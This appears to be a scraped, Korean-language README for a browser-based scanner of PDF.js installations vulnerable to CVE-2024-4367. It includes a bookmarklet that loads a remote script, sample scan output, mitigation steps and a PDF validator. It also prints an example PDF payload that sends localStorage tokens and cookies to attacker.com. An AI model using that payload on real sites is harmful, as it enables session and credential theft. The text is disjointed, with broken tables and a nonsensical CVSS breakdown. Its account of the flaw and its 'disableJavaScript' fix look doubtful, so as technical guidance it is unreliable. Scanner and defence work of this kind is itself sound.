
SCAN END POC THE CVE-2024-4367
⚠️ 중요 보안 도구 | CVE-2024-4367(CVSS 9.8) - PDF.js 원격 코드 실행(RCE) 취약점 탐지
모든 웹사이트에서 작동 - 별도 설정 불필요
CVE-2024-4367은 PDF.js(4.2.67 미만 버전)의 치명적인 취약점으로, 악성 PDF 파일을 통해 임의 JavaScript 실행을 허용합니다. 이 스캐너는 모든 웹사이트에서 취약한 PDF.js 인스턴스를 자동으로 탐지합니다.
PDF.js에는 PDF 파일에 포함된 JavaScript가 적절한 샌드박싱 없이 실행되는 결함이 있어, 공격자가 다음을 수행할 수 있습니다:
F12를 눌러 DevTools를 엽니다Enter를 누릅니다이 URL로 북마크를 생성합니다:
javascript:(function(){const s=document.createElement('script');s.src='https://cdn.jsdelivr.net/gh/yourusername/CVE-2024-4367-Scanner/scanner.js';document.body.appendChild(s);})();
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Open any website and run the script
<embed> 요소<object> 데이터 태그?pdf=, ?file=, ?src=).pdf를 허용하는 파일 입력 필드┌─────────────────────────────────────────────────────────────┐
│ SCAN PROCESS FLOW │
├─────────────────────────────────────────────────────────────┤
│ │
│ 1. 📚 LOAD SCRIPTS │
│ ├─ External scripts (all <script src="">) │
│ └─ Inline scripts (all <script> tags) │
│ │
│ 2. 🔍 EXTRACT PDF.JS VERSION │
│ ├─ Pattern matching in code │
│ ├─ Package.json detection │
│ └─ Node_modules path parsing │
│ │
│ 3. 🎯 IDENTIFY VULNERABILITY │
│ ├─ version < 4.2.67 ? → VULNERABLE │
│ └─ version = 2.16.105 ? → VULNERABLE │
│ │
│ 4. 🖼️ LOCATE VIEWERS │
│ ├─ DOM element scanning │
│ └─ Attribute detection │
│ │
│ 5. ⚡ GENERATE POC │
│ ├─ Create test PDF │
│ └─ Provide download link │
│ │
│ 6. 📊 DISPLAY RESULTS │
│ ├─ Visual overlay │
│ ├─ Console report │
│ └─ Global variable storage │
│ │
└─────────────────────────────────────────────────────────────┘
╔═══════════════════════════════════════════════════════════════════════════════════╗
║ CVE-2024-4367 - UNIVERSAL PDF.js SCANNER ║
║ Detects vulnerable PDF.js versions and potential exploitation ║
╚═══════════════════════════════════════════════════════════════════════════════════╝
📚 PHASE 1: Scanning JavaScript Bundles for PDF.js
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] Found 42 external scripts
[+] Found 12 inline scripts
[1/42] Analyzing: vendor.bundle.js
→ PDF.js indicator found: pdfjs-dist
✅ PDF.js version found: 2.16.105
🚨 VULNERABLE to CVE-2024-4367!
🎯 PHASE 4: Identifying Exploitation Vectors
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
⚠️ URL parameter accepts PDF: file=/documents/report.pdf
⚠️ PDF upload form found
█████████████████████████████████████████████████████████████████████████████████
FINAL SCAN REPORT
█████████████████████████████████████████████████████████████████████████████████
🚨 CRITICAL VULNERABILITY CONFIRMED!
CVE: CVE-2024-4367
CVSS: 9.8 (CRITICAL)
Impact: Arbitrary JavaScript Execution
┌─────────────────────────────────────────────────────────────┐
│ CVE-2024-4367 SCAN RESULTS │
│ ━━━━━━━━━━━━━━━━━━━━━━━ │
│ 📍 Target: example.com │
│ 📦 PDF.js: 2.16.105 │
│ 🎯 Vulnerable: YES │
│ 📄 Viewers: 3 │
│ ⚡ Vectors: 2 │
│ ━━━━━━━━━━━━━━━━━━━━━━━ │
│ 🔴 CRITICAL - Upgrade Required │
└─────────────────────────────────────────────────────────────┘
# For Node.js projects
npm install pdfjs-dist@latest
# For CDN usage
# Update to version 4.2.67 or higher
// Set this before loading PDF.js
pdfjsLib.GlobalWorkerOptions.disableJavaScript = true;
Content-Security-Policy: script-src 'self';
object-src 'none';
worker-src 'none'
// Validate PDF files before rendering
function validatePDF(file) {
// Check magic bytes
const header = file.slice(0, 5);
if (header !== '%PDF-') {
throw new Error('Invalid PDF file');
}
// Scan for JavaScript
const text = file.toString();
if (text.includes('/JavaScript') ||
text.includes('/JS') ||
text.includes('<< /S /JavaScript >>')) {
throw new Error('PDF contains JavaScript');
}
}
URL 매개변수
/viewer?file=malicious.pdf
/download?pdf=malicious.pdf
파일 업로드
<input type="file" accept=".pdf">
삽입형 뷰어
<embed src="malicious.pdf">
API 엔드포인트
/api/documents/123/download
/api/report/pdf
// PDF embedded JavaScript
this.alert('CVE-2024-4367 Exploited!');
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
token: localStorage.getItem('token'),
cookies: document.cookie
})
});
스캐너 설치
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
스캐너 실행
# Open the target website
# Paste the scanner in console
# Or use the bookmarklet
결과 분석
PoC PDF 다운로드 (취약한 경우)
수정 사항 적용
| 시나리오 | 결과 |
|---|---|
| PDF.js 2.16.105 | 🔴 치명적 |
| PDF.js 3.x | 🔴 취약 |
| PDF.js 4.0.x | 🔴 취약 |
| PDF.js 4.2.67+ | ✅ 안전 |
| PDF.js 없음 |
// Vulnerable versions
const VULNERABLE_VERSIONS = [
{ version: '2.16.105', status: 'CRITICAL' },
{ version: '3.x.x', status: 'CRITICAL' },
{ version: '4.0.x - 4.2.66', status: 'CRITICAL' }
];
// Safe version
const SAFE_VERSION = '4.2.67';
| 날짜 | 이벤트 |
|---|---|
| 2024-04-23 | 취약점 발견 |
| 2024-04-24 | CVE-2024-4367 지정 |
| 2024-04-25 | 패치 배포 (4.2.67) |
| 2024-04-26 | 취약점 공개 |
중요: 이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용해야 합니다.
- ✅ 할 것: 본인 소유의 웹사이트에 사용
- ✅ 할 것: 명시적 허가를 받은 경우에만 사용
- ✅ 할 것: 보안 연구 목적으로 사용
- ❌ 금지: 승인되지 않은 시스템에 사용
- ❌ 금지: 악의적인 목적으로 사용
저자는 이 도구로 인한 오용 또는 피해에 대해 책임을 지지 않습니다.
기여를 환영합니다! 다음을 따라주세요:
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Make your changes
# Test on multiple websites
# Submit PR
이 프로젝트는 MIT 라이선스로 배포됩니다 - 자세한 내용은 LICENSE 파일을 참조하세요.
이 도구가 유용하다고 생각되면:
| 해결 방법 | 난이도 | 효과 |
|---|
| PDF.js 업그레이드 | 쉬움 | ✅ 완전한 해결 |
| PDF.js에서 JS 비활성화 | 쉬움 | ✅ 완전한 해결 |
| CSP 구현 | 보통 | ✅ 양호 |
| 서버측 검증 | 보통 | ✅ 양호 |
| 샌드박스 렌더링 | 어려움 | ✅ 탁월 |
| ℹ️ 안전 |
| 2024-05-01 |
| 악용 시도 관찰 |
| 구성 요소 | 점수 |
|---|
| 공격 벡터 | 네트워크 (9.8) |
| 공격 복잡도 | 낮음 (9.8) |
| 요구 권한 | 없음 (9.8) |
| 사용자 상호작용 | 필요 (8.8) |
| 범위 | 변경됨 (9.1) |
| 기밀성 | 높음 (9.8) |
| 무결성 | 높음 (9.8) |
| 가용성 | 높음 (9.8) |
| 종합 | 9.8 (치명적) |